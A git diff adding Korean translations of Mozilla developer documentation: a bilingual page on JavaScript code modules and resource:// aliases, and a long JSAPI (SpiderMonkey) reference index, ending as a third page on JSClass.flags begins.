+slug: JavaScript_code_modules/Using_JavaScript_code_modules
+translation_of: Mozilla/JavaScript_code_modules/Using
+---
+<p>{{ Fx_minversion_header(3) }}</p>
+
+<p>JavaScript code modules are a concept introduced in Firefox 3 (Gecko 1.9) and can be used for sharing code between different privileged scopes. Modules can also be used to create global JavaScript singletons that previously required using JavaScript XPCOM objects. A JavaScript code module is simply some JavaScript code located in registered location. The module is loaded into a specific JavaScript scope, such as XUL script or JavaScript XPCOM script, using <a href="/en/Components.utils.import" title="en/Components.utils.import">Components.utils.import</a>.<br>
+ <br>
+ JavaScript 코드 모듈은 Firefox 3 (Gecko 1.9)부터 도입된 개념이며 서로 다른 권한이 부여된 유효 범위들 간에 코드를 공유하는데 사용될 수 있습니다. 모듈은 전역 JavaScript XPCOM 객체를 사용 해야만 만들 수 있었던 전역 JavaScript 싱글톤(singleton)을 생성하는데도 사용할 수 있습니다. JavaScript 코드 모듈은 간단히 말하자면 등록된 위치에 존재하는 몇 개의 JavaScript 코드라고 할 수 있습니다. 모듈은 특정 JavaScript 유효 범위 안에서 불러올 수 있습니다. 즉, XUL 스크립트 또는 JavaScript XPCOM 스크립트에 <a href="/en/Components.utils.import" title="en/Components.utils.import">Components.utils.import</a>를 사용해서 불러오면 됩니다.</p>
+
+<p>A very simple JavaScript module looks like this:<br>
+ <br>
+ JavaScript 모듈의 아주 간단한 예는 다음과 같습니다:</p>
+
+<pre class="brush: js notranslate">var EXPORTED_SYMBOLS = ["foo", "bar"];
+
+function foo() {
+  return "foo";
+}
+
+var bar = {
+  name : "bar",
+  size : "3"
+};
+
+var dummy = "dummy";
+</pre>
+
+<p>Notice that the module uses normal JavaScript to create functions, objects, constants and any other JavaScript type. The module also defines a special Array named <code>EXPORTED_SYMBOLS</code>. Any JavaScript item named in <code>EXPORTED_SYMBOLS</code> will be exported from the module and injected into the importing scope. For example:<br>
+ <br>
+ 함수, 객체, 상수 그리고 기타 JavaScript 타입을 생성하기 위해 모듈이 보통의 JavaScript를 사용함을 주목해주십시오. 또한 모듈은 <code>EXPORTED_SYMBOLS 이라는 </code>특수한 배열을 정의합니다. <code>EXPORTED_SYMBOLS</code> 이름이 붙여진 어떤 JavaScript 항목이라도 모듈에서 내보내져서 가져오기로 다시 유효 범위 안에 주입될 수 있습니다. 예를 들자면 다음과 같습니다:</p>
+
+<pre class="brush: js notranslate">Components.utils.import("resource://app/my_module.jsm");
+
+alert(foo());         // displays "foo"
+alert(bar.size + 3);  // displays "6"
+alert(dummy);         // displays "dummy is not defined" because 'dummy' was not exported from the module
+</pre>
+
+<p>An extremely important behavior of <a href="/en/Components.utils.import" title="en/Components.utils.import">Components.utils.import</a> is that modules are cached when loaded and subsequent imports do not reload a new version of the module, but instead use the previously cached version. This means that a given module will be shared when imported multiple times. Any modifications to data, objects or functions will be available in any scope that has imported the module. For example, if the simple module were imported into two different JavaScript scopes, changes in one scope can be observed in the other scope.<br>
+ <br>
+ <a href="/en/Components.utils.import" title="en/Components.utils.import">Components.utils.import</a>의 대단히 중요한 동작 특성으로서 염두 해두셔야 할 점은 모듈은 캐쉬되기 때문에 이후에 다시 가져오기 하더라도 모듈의 새로운 버전이 다시 가져오기 되지않고 기존에 캐쉬된 버전을 대신 사용 한다는 것입니다. 이 의미는 주어진 모듈은 여러 번 가져오기를 시도해도 한 번만 가져와서 해당 모듈을 공유하게 된다는 것입니다. 데이터, 객체 또는 함수의 변경점은 해당 모듈을 가져오기 한 모든 유효 범위에서 사용 가능하게 됩니다. 예를 들어, 만약 어떤 모듈이 두 개의 서로 다른 JavaScript 유효 범위에서 가져오기 되었다면, 한 유효 범위에서 일어난 변경이 다른 유효 범위에도 영향을 미쳐 해당 변경 사항을 볼 수 있게 됩니다.</p>
+
+<p>유효 범위 1:</p>
+
+<pre class="brush: js notranslate">Components.utils.import("resource://app/my_module.jsm");
+
+alert(bar.size + 3);  // displays "6"
+
+bar.size = 10;
+</pre>
+
+<p>유효 범위 2:</p>
+
+<pre class="brush: js notranslate">Components.utils.import("resource://app/my_module.jsm");
+
+alert(foo());         // displays "foo"
+alert(bar.size + 3);  // displays "13"
+</pre>
+
+<p>This sharing behavior can be used to create singleton objects that can share data across windows and between XUL script and XPCOM components.<br>
+ <br>
+ 이와 같이 공유하는 특성은 싱글톤 객체, 즉 창들 간의 데이터 공유나 XUL 스크립트와 XPCOM 컴포넌트 사이의 데이터 공유를 가능하게 하는 객체를 생성하는데 사용될 수 있습니다.</p>
+
+<p>{{ Note("Each scope which imports a module receives a by-value copy of the exported symbols in that module. Changes to the symbol\'s value will not propagate to other scopes.") }}</p>
+
+<p>Scope 1:</p>
+
+<pre class="brush: js notranslate">Components.utils.import("resource://app/my_module.jsm");
+
+bar = "foo";
+alert(bar);         // displays "foo"
+</pre>
+
+<p>Scope 2:</p>
+
+<pre class="brush: js notranslate">Components.utils.import("resource://app/my_module.jsm");
+
+alert(bar);         // displays "[object Object]"
+</pre>
+
+<p>The main effect of the by-value copy is global variables of simple types won't be shared across scopes. Always put variables in a wrapper class and export the wrapper (such as <code>bar</code> in the above example).</p>
+
+<h3 id="resource_Protocol" name="resource:_Protocol">resource URL</h3>
+
+<p>When using <a href="/en/Components.utils.import" title="en/Components.utils.import">Components.utils.import</a>, you will notice that code modules are loaded using a "resource://" URL. The basic syntax of a resource URL is as follows:</p>
+
+<pre class="eval notranslate">resource://&lt;alias&gt;/&lt;relative-path&gt;/&lt;file.js|jsm&gt;
+</pre>
+
+<p>The <code>&lt;alias&gt;</code> is an alias to a location, usually a physical location relative to the application or XUL runtime. There are several pre-defined aliases setup by the XUL runtime:</p>
+
+<ul>
+ <li><code>app</code> - Alias to the location of the XUL application.</li>
+ <li><code>gre</code> - Alias to the location of the XUL runtime.</li>
+</ul>
+
+<p>The <code>&lt;relative-path&gt;</code> can be multiple levels deep and is always relative to the location defined by the <code>&lt;alias&gt;</code>. The common relative path is "modules" and is used by XUL Runner and Firefox. Code modules are simple JavaScript files with a .js or .jsm extension.</p>
+
+<p>The easiest way for extensions and XUL applications to add custom aliases is by registering an alias in the <a href="/en/Chrome_Registration" title="en/Chrome_Registration">chrome manifest</a> using a line like this:</p>
+
+<pre class="eval notranslate">resource <em>aliasname</em> <em>uri/to/files/</em>
+</pre>
+
+<p>For example, if the XPI for your <em>foo</em> extension includes a top-level modules/ directory containing the <em>bar.js</em> module (that is, the modules/ directory is a sibling to chrome.manifest and install.rdf), you could create an alias to that directory via the instruction:</p>
+
+<pre class="eval notranslate">resource foo modules/
+</pre>
+
+<p>(Don't forget the trailing slash!) You could then import the module into your JavaScript code via the statement:</p>
+
+<pre class="brush: js notranslate">Components.utils.import("<a class="external" rel="freelink">resource://foo/bar.js</a>");
+</pre>
+
+<h2 id="Programmatically_adding_aliases" name="Programmatically_adding_aliases">Programmatically adding aliases</h2>
+
+<p>Custom aliases can be programmatically added to the resource URL as well. For example:</p>
+
+<pre class="brush: js notranslate">var ioService = Components.classes["@mozilla.org/network/io-service;1"]
+                          .getService(Components.interfaces.nsIIOService);
+var resProt = ioService.getProtocolHandler("resource")
+                       .QueryInterface(Components.interfaces.nsIResProtocolHandler);
+
+var aliasFile = Components.classes["@mozilla.org/file/local;1"]
+                          .createInstance(Components.interfaces.nsILocalFile);
+aliasFile.initWithPath("/some/absolute/path");
+
+var aliasURI = ioService.newFileURI(aliasFile);
+resProt.setSubstitution("myalias", aliasURI);
+
+// assuming the code modules are in the alias folder itself, not a s
+</pre>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<ul>
+ <li><a class="external" href="http://wiki.mozilla.org/Labs/JS_Modules">Mozilla Labs JS Modules</a> - This page features a list of JS modules, along with download links and documentation, that extension developers can use in their code.</li>
+ <li><a href="/En/Code_snippets/Modules" title="En/Code_snippets/Modules">Code snippets: Modules</a></li>
+</ul>
+
+
+
+<p>{{ languages( { "es": "es/Usando_m\u00f3dulos_de_c\u00f3digo_JavaScript", "fr": "fr/Utilisation_de_modules_de_code_JavaScript", "ja": "ja/Using_JavaScript_code_modules", "pl": "pl/Zastosowanie_modu\u0142\u00f3w_JavaScript" } ) }}</p>
diff --git a/files/ko/jsapi_reference/index.html b/files/ko/jsapi_reference/index.html
new file mode 100644
index 0000000000..9f325e217c
--- /dev/null
+++ b/files/ko/jsapi_reference/index.html
@@ -0,0 +1,268 @@
+---
+title: JSAPI Reference
+slug: JSAPI_Reference
+tags:
+  - JSAPI_Reference
+  - SpiderMonkey
+translation_of: Mozilla/Projects/SpiderMonkey/JSAPI_reference
+---
+<p><a href="ko/JSAPI_Reference/Alphabetical_List">알파벳순 목록</a></p>
+<h3 id=".EC.9E.90.EB.A3.8C_.EA.B5.AC.EC.A1.B0" name=".EC.9E.90.EB.A3.8C_.EA.B5.AC.EC.A1.B0">자료 구조</h3>
+<ul>
+ <li><a href="ko/JSClass">JSClass</a></li>
+ <li><a href="ko/JSConstDoubleSpec">JSConstDoubleSpec</a></li>
+ <li><a href="ko/JSErrorReport">JSErrorReport</a></li>
+ <li><a href="ko/JSFunctionSpec">JSFunctionSpec</a></li>
+ <li><a href="ko/JSIdArray">JSIdArray</a></li>
+ <li><a href="ko/JSObjectOps">JSObjectOps</a></li>
+ <li><a href="ko/JSPrincipals">JSPrincipals</a></li>
+ <li><a href="ko/JSProperty">JSProperty</a></li>
+ <li><a href="ko/JSPropertySpec">JSPropertySpec</a></li>
+</ul>
+<h3 id=".ED.95.A8.EC.88.98" name=".ED.95.A8.EC.88.98">함수</h3>
+<ul>
+ <li><a href="ko/JS_AddArgumentFormatter">JS_AddArgumentFormatter</a></li>
+ <li><a href="ko/JS_AddNamedRoot">JS_AddNamedRoot</a></li>
+ <li><a href="ko/JS_AddRoot">JS_AddRoot</a></li>
+ <li><a href="ko/JS_AliasElement">JS_AliasElement</a> {{ Deprecated_inline() }}</li>
+ <li><a href="ko/JS_AliasProperty">JS_AliasProperty</a> {{ Deprecated_inline() }}</li>
+ <li><a href="ko/JS_BeginRequest">JS_BeginRequest</a></li>
+ <li><a href="ko/JS_CallFunction">JS_CallFunction</a></li>
+ <li><a href="ko/JS_CallFunctionName">JS_CallFunctionName</a></li>
+ <li><a href="ko/JS_CallFunctionValue">JS_CallFunctionValue</a></li>
+ <li><a href="ko/JS_CheckAccess">JS_CheckAccess</a></li>
+ <li><a href="ko/JS_ClearContextThread">JS_ClearContextThread</a></li>
+ <li><a href="ko/JS_ClearPendingException">JS_ClearPendingException</a></li>
+ <li><a href="ko/JS_ClearScope">JS_ClearScope</a></li>
+ <li><a href="ko/JS_CloneFunctionObject">JS_CloneFunctionObject</a></li>
+ <li><a href="ko/JS_CompareStrings">JS_CompareStrings</a></li>
+ <li><a href="ko/JS_CompileFile">JS_CompileFile</a></li>
+ <li><a href="ko/JS_CompileFileHandleForPrincipals">JS_CompileFileHandleForPrincipals</a></li>
+ <li><a href="ko/JS_CompileFunction">JS_CompileFunction</a></li>
+ <li><a href="ko/JS_CompileFunctionForPrincipals">JS_CompileFunctionForPrincipals</a></li>
+ <li><a href="ko/JS_CompileScript">JS_CompileScript</a></li>
+ <li><a href="ko/JS_CompileScriptForPrincipals">JS_CompileScriptForPrincipals</a></li>
+ <li><a href="ko/JS_CompileUCFunction">JS_CompileUCFunction</a></li>
+ <li><a href="ko/JS_CompileUCFunctionForPrincipals">JS_CompileUCFunctionForPrincipals</a></li>
+ <li><a href="ko/JS_CompileUCScript">JS_CompileUCScript</a></li>
+ <li><a href="ko/JS_CompileUCScriptForPrincipals">JS_CompileUCScriptForPrincipals</a></li>
+ <li><a href="ko/JS_ConstructObject">JS_ConstructObject</a></li>
+ <li><a href="ko/JS_ContextIterator">JS_ContextIterator</a></li>
+ <li><a href="ko/JS_ConvertArguments">JS_ConvertArguments</a></li>
+ <li><a href="ko/JS_ConvertStub">JS_ConvertStub</a></li>
+ <li><a href="ko/JS_ConvertValue">JS_ConvertValue</a></li>
+ <li><a href="ko/JS_DecompileFunction">JS_DecompileFunction</a></li>
+ <li><a href="ko/JS_DecompileFunctionBody">JS_DecompileFunctionBody</a></li>
+ <li><a href="ko/JS_DecompileScript">JS_DecompileScript</a></li>
+ <li><a href="ko/JS_DefineConstDoubles">JS_DefineConstDoubles</a></li>
+ <li><a href="ko/JS_DefineElement">JS_DefineElement</a></li>
+ <li><a href="ko/JS_DefineFunction">JS_DefineFunction</a></li>
+ <li><a href="ko/JS_DefineFunctions">JS_DefineFunctions</a></li>
+ <li><a href="ko/JS_DefineObject">JS_DefineObject</a></li>
+ <li><a href="ko/JS_DefineProperties">JS_DefineProperties</a></li>
+ <li><a href="ko/JS_DefineProperty">JS_DefineProperty</a></li>
+ <li><a href="ko/JS_DefinePropertyWithTinyId">JS_DefinePropertyWithTinyId</a></li>
+ <li><a href="ko/JS_DefineUCProperty">JS_DefineUCProperty</a></li>
+ <li><a href="ko/JS_DefineUCPropertyWithTinyID">JS_DefineUCPropertyWithTinyID</a></li>
+ <li><a href="ko/JS_DeleteElement">JS_DeleteElement</a></li>
+ <li><a href="ko/JS_DeleteElement2">JS_DeleteElement2</a></li>
+ <li><a href="ko/JS_DeleteProperty">JS_DeleteProperty</a></li>
+ <li><a href="ko/JS_DeleteProperty2">JS_DeleteProperty2</a></li>
+ <li><a href="ko/JS_DeleteUCProperty2">JS_DeleteUCProperty2</a></li>
+ <li><a href="ko/JS_DestroyContext">JS_DestroyContext</a></li>
+ <li><a href="ko/JS_DestroyIdArray">JS_DestroyIdArray</a></li>
+ <li><a href="ko/JS_DestroyRuntime">JS_DestroyRuntime</a></li>
+ <li><a href="ko/JS_DestroyScript">JS_DestroyScript</a></li>
+ <li><a href="ko/JS_DumpNamedRoots">JS_DumpNamedRoots</a></li>
+ <li><a href="ko/JS_EndRequest">JS_EndRequest</a></li>
+ <li><a href="ko/JS_Enumerate">JS_Enumerate</a></li>
+ <li><a href="ko/JS_EnumerateStub">JS_EnumerateStub</a></li>
+ <li><a href="ko/JS_EvaluateScript">JS_EvaluateScript</a></li>
+ <li><a href="ko/JS_EvaluateScriptForPrincipals">JS_EvaluateScriptForPrincipals</a></li>
+ <li><a href="ko/JS_EvaluateUCScript">JS_EvaluateUCScript</a></li>
+ <li><a href="ko/JS_EvaluateUCScriptForPrincipals">JS_EvaluateUCScriptForPrincipals</a></li>
+ <li><a href="ko/JS_ExecuteScript">JS_ExecuteScript</a></li>
+ <li><a href="ko/JS_FinalizeStub">JS_FinalizeStub</a></li>
+ <li><a href="ko/JS_Finish">JS_Finish</a> {{ Deprecated_inline() }}</li>
+ <li><a href="ko/JS_GC">JS_GC</a></li>
+ <li><a href="ko/JS_GetArrayLength">JS_GetArrayLength</a></li>
+ <li><a href="ko/JS_GetClass">JS_GetClass</a></li>
+ <li><a href="ko/JS_GetConstructor">JS_GetConstructor</a></li>
+ <li><a href="ko/JS_GetContextPrivate">JS_GetContextPrivate</a></li>
+ <li><a href="ko/JS_GetContextThread">JS_GetContextThread</a></li>
+ <li><a href="ko/JS_GetElement">JS_GetElement</a></li>
+ <li><a href="ko/JS_GetEmptyStringValue">JS_GetEmptyStringValue</a></li>
+ <li><a href="ko/JS_GetFunctionName">JS_GetFunctionName</a></li>
+ <li><a href="ko/JS_GetFunctionObject">JS_GetFunctionObject</a></li>
+ <li><a href="ko/JS_GetGlobalObject">JS_GetGlobalObject</a></li>
+ <li><a href="ko/JS_GetImplementationVersion">JS_GetImplementationVersion</a></li>
+ <li><a href="ko/JS_GetInstancePrivate">JS_GetInstancePrivate</a></li>
+ <li><a href="ko/JS_GetNaNValue">JS_GetNaNValue</a></li>
+ <li><a href="ko/JS_GetNegativeInfinityValue">JS_GetNegativeInfinityValue</a></li>
+ <li><a href="ko/JS_GetParent">JS_GetParent</a></li>
+ <li><a href="ko/JS_GetPendingException">JS_GetPendingException</a></li>
+ <li><a href="ko/JS_GetPositiveInfinityValue">JS_GetPositiveInfinityValue</a></li>
+ <li><a href="ko/JS_GetPrivate">JS_GetPrivate</a></li>
+ <li><a href="ko/JS_GetProperty">JS_GetProperty</a></li>
+ <li><a href="ko/JS_GetPropertyAttributes">JS_GetPropertyAttributes</a></li>
+ <li><a href="ko/JS_GetPrototype">JS_GetPrototype</a></li>
+ <li><a href="ko/JS_GetRuntime">JS_GetRuntime</a></li>
+ <li><a href="ko/JS_GetScopeChain">JS_GetScopeChain</a></li>
+ <li><a href="ko/JS_GetStringBytes">JS_GetStringBytes</a></li>
+ <li><a href="ko/JS_GetStringChars">JS_GetStringChars</a></li>
+ <li><a href="ko/JS_GetStringLength">JS_GetStringLength</a></li>
+ <li><a href="ko/JS_GetTypeName">JS_GetTypeName</a></li>
+ <li><a href="ko/JS_GetUCProperty">JS_GetUCProperty</a></li>
+ <li><a href="ko/JS_GetVersion">JS_GetVersion</a></li>
+ <li><a href="ko/JS_HasArrayLength">JS_HasArrayLength</a></li>
+ <li><a href="ko/JS_IdToValue">JS_IdToValue</a></li>
+ <li><a href="ko/JS_Init">JS_Init</a> {{ Deprecated_inline() }}</li>
+ <li><a href="ko/JS_InitClass">JS_InitClass</a></li>
+ <li><a href="ko/JS_InitStandardClasses">JS_InitStandardClasses</a></li>
+ <li><a href="ko/JS_InstanceOf">JS_InstanceOf</a></li>
+ <li><a href="ko/JS_InternString">JS_InternString</a></li>
+ <li><a href="ko/JS_InternUCString">JS_InternUCString</a></li>
+ <li><a href="ko/JS_InternUCStringN">JS_InternUCStringN</a></li>
+ <li><a href="ko/JS_IsArrayObject">JS_IsArrayObject</a></li>
+ <li><a href="ko/JS_IsConstructing">JS_IsConstructing</a></li>
+ <li><a href="ko/JS_IsExceptionPending">JS_IsExceptionPending</a></li>
+ <li><a href="ko/JS_IsRunning">JS_IsRunning</a></li>
+ <li><a href="ko/JS_Lock">JS_Lock</a> {{ Deprecated_inline() }}</li>
+ <li><a href="ko/JS_LockGCThing">JS_LockGCThing</a> {{ Deprecated_inline() }}</li>
+ <li><a href="ko/JS_LookupElement">JS_LookupElement</a></li>
+ <li><a href="ko/JS_LookupProperty">JS_LookupProperty</a></li>
+ <li><a href="ko/JS_LookupUCProperty">JS_LookupUCProperty</a></li>
+ <li><a href="ko/JS_MaybeGC">JS_MaybeGC</a></li>
+ <li><a href="ko/JS_NewArrayObject">JS_NewArrayObject</a></li>
+ <li><a href="ko/JS_NewContext">JS_NewContext</a></li>
+ <li><a href="ko/JS_NewDouble">JS_NewDouble</a></li>
+ <li><a href="ko/JS_NewDoubleValue">JS_NewDoubleValue</a></li>
+ <li><a href="ko/JS_NewFunction">JS_NewFunction</a></li>
+ <li><a href="ko/JS_NewIdArray">JS_NewIdArray</a></li>
+ <li><a href="ko/JS_NewNumberValue">JS_NewNumberValue</a></li>
+ <li><a href="ko/JS_NewObject">JS_NewObject</a></li>
+ <li><a href="ko/JS_NewRuntime">JS_NewRuntime</a></li>
+ <li><a href="ko/JS_NewScriptObject">JS_NewScriptObject</a></li>
+ <li><a href="ko/JS_NewString">JS_NewString</a></li>
+ <li><a href="ko/JS_NewStringCopyN">JS_NewStringCopyN</a></li>
+ <li><a href="ko/JS_NewStringCopyZ">JS_NewStringCopyZ</a></li>
+ <li><a href="ko/JS_NewUCString">JS_NewUCString</a></li>
+ <li><a href="ko/JS_NewUCStringCopyN">JS_NewUCStringCopyN</a></li>
+ <li><a href="ko/JS_NewUCStringCopyZ">JS_NewUCStringCopyZ</a></li>
+ <li><a href="ko/JS_ObjectIsFunction">JS_ObjectIsFunction</a></li>
+ <li><a href="ko/JS_PopArguments">JS_PopArguments</a></li>
+ <li><a href="ko/JS_PropertyStub">JS_PropertyStub</a></li>
+ <li><a href="ko/JS_PushArguments">JS_PushArguments</a></li>
+ <li><a href="ko/JS_RemoveArgumentFormatter">JS_RemoveArgumentFormatter</a></li>
+ <li><a href="ko/JS_RemoveRoot">JS_RemoveRoot</a></li>
+ <li><a href="ko/JS_ReportError">JS_ReportError</a></li>
+ <li><a href="ko/JS_ReportOutOfMemory">JS_ReportOutOfMemory</a></li>
+ <li><a href="ko/JS_ReportPendingException">JS_ReportPendingException</a></li>
+ <li><a href="ko/JS_ResolveStub">JS_ResolveStub</a></li>
+ <li><a href="ko/JS_ResumeRequest">JS_ResumeRequest</a></li>
+ <li><a href="ko/JS_SealObject">JS_SealObject</a></li>
+ <li><a href="ko/JS_SetArrayLength">JS_SetArrayLength</a></li>
+ <li><a href="ko/JS_SetBranchCallback">JS_SetBranchCallback</a></li>
+ <li><a href="ko/JS_SetContextPrivate">JS_SetContextPrivate</a></li>
+ <li><a href="ko/JS_SetContextThread">JS_SetContextThread</a></li>
+ <li><a href="ko/JS_SetElement">JS_SetElement</a></li>
+ <li><a href="ko/JS_SetErrorReporter">JS_SetErrorReporter</a></li>
+ <li><a href="ko/JS_SetGCCallback">JS_SetGCCallback</a></li>
+ <li><a href="ko/JS_SetGlobalObject">JS_SetGlobalObject</a></li>
+ <li><a href="ko/JS_SetParent">JS_SetParent</a></li>
+ <li><a href="ko/JS_SetPendingException">JS_SetPendingException</a></li>
+ <li><a href="ko/JS_SetPrivate">JS_SetPrivate</a></li>
+ <li><a href="ko/JS_SetProperty">JS_SetProperty</a></li>
+ <li><a href="ko/JS_SetPropertyAttributes">JS_SetPropertyAttributes</a></li>
+ <li><a href="ko/JS_SetPrototype">JS_SetPrototype</a></li>
+ <li><a href="ko/JS_SetUCProperty">JS_SetUCProperty</a></li>
+ <li><a href="ko/JS_SetVersion">JS_SetVersion</a></li>
+ <li><a href="ko/JS_SuspendRequest">JS_SuspendRequest</a></li>
+ <li><a href="ko/JS_TypeOfValue">JS_TypeOfValue</a></li>
+ <li><a href="ko/JS_Unlock">JS_Unlock</a> {{ Deprecated_inline() }}</li>
+ <li><a href="ko/JS_UnlockGCThing">JS_UnlockGCThing</a> {{ Deprecated_inline() }}</li>
+ <li><a href="ko/JS_ValueToBoolean">JS_ValueToBoolean</a></li>
+ <li><a href="ko/JS_ValueToConstructor">JS_ValueToConstructor</a></li>
+ <li><a href="ko/JS_ValueToECMAInt32">JS_ValueToECMAInt32</a></li>
+ <li><a href="ko/JS_ValueToECMAUint32">JS_ValueToECMAUint32</a></li>
+ <li><a href="ko/JS_ValueToFunction">JS_ValueToFunction</a></li>
+ <li><a href="ko/JS_ValueToId">JS_ValueToId</a></li>
+ <li><a href="ko/JS_ValueToInt32">JS_ValueToInt32</a></li>
+ <li><a href="ko/JS_ValueToNumber">JS_ValueToNumber</a></li>
+ <li><a href="ko/JS_ValueToObject">JS_ValueToObject</a></li>
+ <li><a href="ko/JS_ValueToString">JS_ValueToString</a></li>
+ <li><a href="ko/JS_ValueToUint16">JS_ValueToUint16</a></li>
+ <li><a href="ko/JS_free">JS_free</a></li>
+ <li><a href="ko/JS_malloc">JS_malloc</a></li>
+ <li><a href="ko/JS_realloc">JS_realloc</a></li>
+ <li><a href="ko/JS_strdup">JS_strdup</a></li>
+</ul>
+<h3 id=".EB.A7.A4.ED.81.AC.EB.A1.9C" name=".EB.A7.A4.ED.81.AC.EB.A1.9C">매크로</h3>
+<ul>
+ <li><a href="ko/BOOLEAN_TO_JSVAL">BOOLEAN_TO_JSVAL</a></li>
+ <li><a href="ko/DOUBLE_TO_JSVAL">DOUBLE_TO_JSVAL</a></li>
+ <li><a href="ko/INT_FITS_IN_JSVAL">INT_FITS_IN_JSVAL</a></li>
+ <li><a href="ko/INT_TO_JSVAL">INT_TO_JSVAL</a></li>
+ <li><a href="ko/JSCLASS_HAS_PRIVATE">JSCLASS_HAS_PRIVATE</a></li>
+ <li><a href="ko/JSCLASS_NEW_ENUMERATE">JSCLASS_NEW_ENUMERATE</a></li>
+ <li><a href="ko/JSCLASS_NEW_RESOLVE">JSCLASS_NEW_RESOLVE</a></li>
+ <li><a href="ko/JSFUN_BOUND_METHOD">JSFUN_BOUND_METHOD</a> {{ Deprecated_inline() }}</li>
+ <li><a href="ko/JSFUN_GLOBAL_PARENT">JSFUN_GLOBAL_PARENT</a> {{ Deprecated_inline() }}</li>
+ <li><a href="ko/JSPRINCIPALS_DROP">JSPRINCIPALS_DROP</a></li>
+ <li><a href="ko/JSPRINCIPALS_HOLD">JSPRINCIPALS_HOLD</a></li>
+ <li><a href="ko/JSPROP_ENUMERATE">JSPROP_ENUMERATE</a></li>
+ <li><a href="ko/JSPROP_EXPORTED">JSPROP_EXPORTED</a></li>
+ <li><a href="ko/JSPROP_INDEX">JSPROP_INDEX</a></li>
+ <li><a href="ko/JSPROP_PERMANENT">JSPROP_PERMANENT</a></li>
+ <li><a href="ko/JSPROP_READONLY">JSPROP_READONLY</a></li>
+ <li><a href="ko/JSRESOLVE_ASSIGNING">JSRESOLVE_ASSIGNING</a></li>
+ <li><a href="ko/JSRESOLVE_QUALIFIED">JSRESOLVE_QUALIFIED</a></li>
+ <li><a href="ko/JSVAL_FALSE">JSVAL_FALSE</a></li>
+ <li><a href="ko/JSVAL_IS_BOOLEAN">JSVAL_IS_BOOLEAN</a></li>
+ <li><a href="ko/JSVAL_IS_DOUBLE">JSVAL_IS_DOUBLE</a></li>
+ <li><a href="ko/JSVAL_IS_GCTHING">JSVAL_IS_GCTHING</a></li>
+ <li><a href="ko/JSVAL_IS_INT">JSVAL_IS_INT</a></li>
+ <li><a href="ko/JSVAL_IS_NULL">JSVAL_IS_NULL</a></li>
+ <li><a href="ko/JSVAL_IS_NUMBER">JSVAL_IS_NUMBER</a></li>
+ <li><a href="ko/JSVAL_IS_OBJECT">JSVAL_IS_OBJECT</a></li>
+ <li><a href="ko/JSVAL_IS_PRIMITIVE">JSVAL_IS_PRIMITIVE</a></li>
+ <li><a href="ko/JSVAL_IS_STRING">JSVAL_IS_STRING</a></li>
+ <li><a href="ko/JSVAL_IS_VOID">JSVAL_IS_VOID</a></li>
+ <li><a href="ko/JSVAL_LOCK">JSVAL_LOCK</a> {{ Deprecated_inline() }}</li>
+ <li><a href="ko/JSVAL_NULL">JSVAL_NULL</a></li>
+ <li><a href="ko/JSVAL_ONE">JSVAL_ONE</a></li>
+ <li><a href="ko/JSVAL_TO_BOOLEAN">JSVAL_TO_BOOLEAN</a></li>
+ <li><a href="ko/JSVAL_TO_DOUBLE">JSVAL_TO_DOUBLE</a></li>
+ <li><a href="ko/JSVAL_TO_GCTHING">JSVAL_TO_GCTHING</a></li>
+ <li><a href="ko/JSVAL_TO_INT">JSVAL_TO_INT</a></li>
+ <li><a href="ko/JSVAL_TO_OBJECT">JSVAL_TO_OBJECT</a></li>
+ <li><a href="ko/JSVAL_TO_PRIVATE">JSVAL_TO_PRIVATE</a></li>
+ <li><a href="ko/JSVAL_TO_STRING">JSVAL_TO_STRING</a></li>
+ <li><a href="ko/JSVAL_TRUE">JSVAL_TRUE</a></li>
+ <li><a href="ko/JSVAL_UNLOCK">JSVAL_UNLOCK</a> {{ Deprecated_inline() }}</li>
+ <li><a href="ko/JSVAL_VOID">JSVAL_VOID</a></li>
+ <li><a href="ko/JSVAL_ZERO">JSVAL_ZERO</a></li>
+ <li><a href="ko/OBJECT_TO_JSVAL">OBJECT_TO_JSVAL</a></li>
+ <li><a href="ko/PRIVATE_TO_JSVAL">PRIVATE_TO_JSVAL</a></li>
+ <li><a href="ko/STRING_TO_JSVAL">STRING_TO_JSVAL</a></li>
+</ul>
+<h3 id="Deprecated" name="Deprecated">Deprecated</h3>
+<ul>
+ <li><a href="ko/JSFUN_BOUND_METHOD">JSFUN_BOUND_METHOD</a> {{ Deprecated_inline() }}</li>
+ <li><a href="ko/JSFUN_GLOBAL_PARENT">JSFUN_GLOBAL_PARENT</a> {{ Deprecated_inline() }}</li>
+ <li><a href="ko/JSVAL_LOCK">JSVAL_LOCK</a> {{ Deprecated_inline() }}</li>
+ <li><a href="ko/JSVAL_UNLOCK">JSVAL_UNLOCK</a> {{ Deprecated_inline() }}</li>
+ <li><a href="ko/JS_AliasElement">JS_AliasElement</a> {{ Deprecated_inline() }}</li>
+ <li><a href="ko/JS_AliasProperty">JS_AliasProperty</a> {{ Deprecated_inline() }}</li>
+ <li><a href="ko/JS_Finish">JS_Finish</a> {{ Deprecated_inline() }}</li>
+ <li><a href="ko/JS_Init">JS_Init</a> {{ Deprecated_inline() }}</li>
+ <li><a href="ko/JS_Lock">JS_Lock</a> {{ Deprecated_inline() }}</li>
+ <li><a href="ko/JS_LockGCThing">JS_LockGCThing</a> {{ Deprecated_inline() }}</li>
+ <li><a href="ko/JS_Unlock">JS_Unlock</a> {{ Deprecated_inline() }}</li>
+ <li><a href="ko/JS_UnlockGCThing">JS_UnlockGCThing</a> {{ Deprecated_inline() }}</li>
+</ul>
+<h3 id=".EC.A0.84.EC.B2.98.EB.A6.AC.EA.B8.B0_.EC.A1.B0.EA.B1.B4.EB.AC.B8" name=".EC.A0.84.EC.B2.98.EB.A6.AC.EA.B8.B0_.EC.A1.B0.EA.B1.B4.EB.AC.B8">전처리기 조건문</h3>
+<ul>
+ <li><a href="ko/JS_THREADSAFE">JS_THREADSAFE</a></li>
+</ul>
+<p>{{ languages( { "en": "en/JSAPI_Reference", "ja": "ja/JSAPI_Reference", "pl": "pl/Dokumentacja_JSAPI" } ) }}</p>
diff --git a/files/ko/jsapi_reference/jsclass.flags/index.html b/files/ko/jsapi_reference/jsclass.flags/index.html
new file mode 100644
index 0000000000..124793f409
--- /dev/null
+++ b/files/ko/jsapi_reference/jsclass.flags/index.html
@@ -0,0 +1,177 @@
+---
+title: JSClass.flags
+slug: JSAPI_Reference/JSClass.flags
+translation_of: Mozilla/Projects/SpiderMonkey/JSAPI_reference/JSClass.flags
+---
+<div>{{SpiderMonkeySidebar("JSAPI")}}</div>
+
+<div class="summary">
